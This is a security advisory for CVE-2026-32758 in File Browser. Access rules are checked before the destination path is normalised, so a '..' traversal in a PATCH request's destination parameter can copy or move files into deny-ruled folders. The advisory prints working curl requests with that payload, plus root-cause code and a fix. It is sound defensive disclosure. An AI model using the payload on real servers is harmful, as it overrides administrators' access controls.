CVE-2026-32758

## Description The `resourcePatchHandler` in `http/resource.go` validates the destination path against configured access rules before the path is cleaned/normalized. The rules engine (`rules/rules.go`) uses literal string prefix matching (`strings.HasPrefix`) or regex matching against the raw path. The actual file operation (`fileutils.Copy`, `patchAction`) subsequently calls `path.Clean()` which resolves `..` sequences, producing a different effective path than the one validated. This allows an authenticated user with Create or Rename permissions to bypass administrator-configured deny rules by including `..` (dot-dot) path traversal sequences in the `destination` query parameter of a PATCH request. ## Steps to Reproduce ### 1. Verify the rule works normally ```bash # This should return 403 Forbidden curl -X PATCH \ -H "X-Auth: <alice_jwt>" \ "http://host/api/resources/public/test.txt?action=copy&destination=%2Frestricted%2Fcopied.txt" ``` ### 2. Exploit the bypass ```bash # This should succeed despite the deny rule curl -X PATCH \ -H "X-Auth: <alice_jwt>" \ "http://host/api/resources/public/test.txt?action=copy&destination=%2Fpublic%2F..%2Frestricted%2Fcopied.txt" ``` ### 3. Result The file `test.txt` is copied to `/restricted/copied.txt` despite the deny rule for `/restricted/`. ## Root Cause Analysis In `http/resource.go:209-257`: ```go dst := r.URL.Query().Get("destination") // line 212 dst, err := url.QueryUnescape(dst) // line 214 — dst contains ".." if !d.Check(src) || !d.Check(dst) { // line 215 — CHECK ON UNCLEANED PATH return http.StatusForbidden, nil } ``` In `rules/rules.go:29-35`: ```go func (r *Rule) Matches(path string) bool { if r.Regex { return r.Regexp.MatchString(path) // regex on literal path } return strings.HasPrefix(path, r.Path) // prefix on literal path } ``` In `fileutils/copy.go:12-17`: ```go func Copy(afs afero.Fs, src, dst string, ...) error { if dst = path.Clean("/" + dst); dst == "" { // CLEANING HAPPENS HERE, AFTER CHECK return os.ErrNotExist } ``` The rules check sees `/public/../restricted/copied.txt` (no match for `/restricted/` prefix). The file operation resolves it to `/restricted/copied.txt` (within the restricted path). ## Secondary Issue In the same handler, the error from `url.QueryUnescape` is checked after `d.Check()` runs (lines 214-220), meaning the rules check executes on a potentially malformed string if unescaping fails. ## Impact An authenticated user with Copy (Create) or Rename permission can write or move files into any path within their scope that is protected by deny rules. This bypasses both: - Prefix-based rules: `strings.HasPrefix` on uncleaned path misses the match - Regex-based rules: Standard patterns like `^/restricted/.*` fail on uncleaned path Cannot be used to: - Escape the user's BasePathFs scope (afero prevents this) - Read from restricted paths (GET handler uses cleaned `r.URL.Path`) ## Suggested Fix Clean the destination path before the rules check: ```go dst, err := url.QueryUnescape(dst) if err != nil { return errToStatus(err), err } dst = path.Clean("/" + dst) src = path.Clean("/" + src) if !d.Check(src) || !d.Check(dst) { return http.StatusForbidden, nil } if dst == "/" || src == "/" { return http.StatusForbidden, nil } ```

File Browser has an Access Rule Bypass via Path Traversal in Copy/Rename Destination Parameter in github.com/filebrowser/filebrowser